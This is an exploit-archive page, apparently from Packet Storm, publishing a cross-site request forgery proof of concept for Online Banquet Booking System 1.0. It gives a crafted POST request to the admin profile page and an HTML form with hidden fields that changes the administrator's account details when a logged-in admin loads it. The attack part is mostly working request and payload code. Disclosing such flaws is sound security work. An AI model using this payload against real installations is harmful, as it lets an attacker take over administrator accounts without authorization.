Online Banquet Booking System 1.0 Cross Site Request Forgery

Authored by Saud Alenazi

Posted Apr 5, 2022

Online Banquet Booking System version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf

SHA-256 | 242e1ac878946f2c1079108497cb89ce8c04972924dd3446288bd6725374a38b **Download | Favorite | View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Online Banquet Booking System - 'change admin credentials' Cross-Site Request Forgery (CSRF)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-banquet-booking-system-using-php-and-mysql/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz

# Description :

The application is not using any security token to prevent it against CSRF. Therefore, malicious user can
change admin credentials by using crafted post request.


# HTTPS Request :

POST /obbs/admin/admin-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://localhost
Connection: close
Referer: http://localhost/obbs/admin/admin-profile.php
Cookie: PHPSESSID=5lotcnigq4mddq3rr6tnnlvn3e
Upgrade-Insecure-Requests: 1

adminname=Admin&username=admin&email=admin%40gmail.com&mobilenumber=5689784589&submit=


# Poc Html :

<html>
  <!-- CSRF PoC - Saud -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/obbs/admin/admin-profile.php" method="POST">
      <input type="hidden" name="adminname" value="Admin" />
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="email" value="admin@gmail.com" />
      <input type="hidden" name="mobilenumber" value="123" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files

Ubuntu 52 files

Gentoo 44 files

Debian 27 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secur1ty 6 files

mjurczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

Intrusion Detection	(866)
Java	(2,888)
JavaScript	(817)
Kernel	(6,255)
Local	(14,173)
Magazine	(586)
Overflow	(12,390)
Perl	(1,417)
PHP	(5,087)
Proof of Concept	(2,290)
Protocol	(3,426)
Python	(1,449)
Remote	(30,009)
Root	(3,496)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,768)
Shell	(3,098)
Shellcode	(1,204)
Sniffer	(885)
Spoof	(2,165)
SQL Injection	(16,089)
TCP	(2,377)
Trojan	(685)
UDP	(875)
Virus	(661)
Vulnerability	(31,104)
Web	(9,329)
Whitepaper	(3,728)
x86	(946)
XSS	(17,478)
Other	

BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,620)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,118)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,339)
Slackware	(941)
Solaris	(1,607)
SUSE	(1,444)
Ubuntu	(8,147)
UNIX	(9,150)
UnixWare	(185)
Windows	(6,504)
Other	

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed